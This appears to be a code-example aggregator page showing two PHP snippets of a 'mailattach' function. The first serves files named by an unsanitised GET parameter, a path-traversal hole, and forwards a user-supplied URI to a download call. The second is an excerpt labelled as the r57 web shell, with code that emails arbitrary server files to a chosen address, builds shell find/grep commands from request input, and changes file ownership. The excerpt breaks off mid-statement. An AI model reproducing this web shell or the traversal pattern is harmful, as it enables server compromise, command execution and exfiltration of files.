示例#1
0
<?php

include_once 'ressources/class.sockets.inc';
if (isset($_GET["mailattach"])) {
    mailattach();
    exit;
}
if (!isset($_GET["uri"])) {
    exit;
}
$sock = new sockets();
$sock->downloadFile($_GET["uri"], '127.0.0.1');
function mailattach()
{
    $file = "/opt/artica/share/www/attachments/{$_GET["mailattach"]}";
    header("Content-type: application/force-download");
    header("Content-Disposition: attachment; filename=\"{$_GET["mailattach"]}\"");
    header("Content-Length: " . filesize($file) . "");
    header("Expires: 0");
    readfile($file);
}
示例#2
0
文件: r57.php 项目: Theov/webshells
        echo re($_POST['loc_file']);
        $_POST['cmd'] = "";
    } else {
        $filename = @basename($_POST['loc_file']);
        $filedump = @fread($file, @filesize($_POST['loc_file']));
        fclose($file);
        $content_encoding = $mime_type = '';
        compress($filename, $filedump, $_POST['compress']);
        $attach = array("name" => $filename, "type" => $mime_type, "content" => $filedump);
        if (empty($_POST['subj'])) {
            $_POST['subj'] = 'file from r57shell';
        }
        if (empty($_POST['from'])) {
            $_POST['from'] = '*****@*****.**';
        }
        $res = mailattach($_POST['to'], $_POST['from'], $_POST['subj'], $attach);
        mr($language, $res);
        $_POST['cmd'] = "";
    }
}
if (!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") {
    $_POST['cmd'] = 'find ' . $_POST['s_dir'] . ' -name \'' . $_POST['s_mask'] . '\' | xargs grep -E \'' . $_POST['s_text'] . '\'';
}
if (!empty($_POST['cmd']) && $_POST['cmd'] == "ch_") {
    switch ($_POST['what']) {
        case 'own':
            @chown($_POST['param1'], $_POST['param2']);
            break;
        case 'grp':
            @chgrp($_POST['param1'], $_POST['param2']);
            break;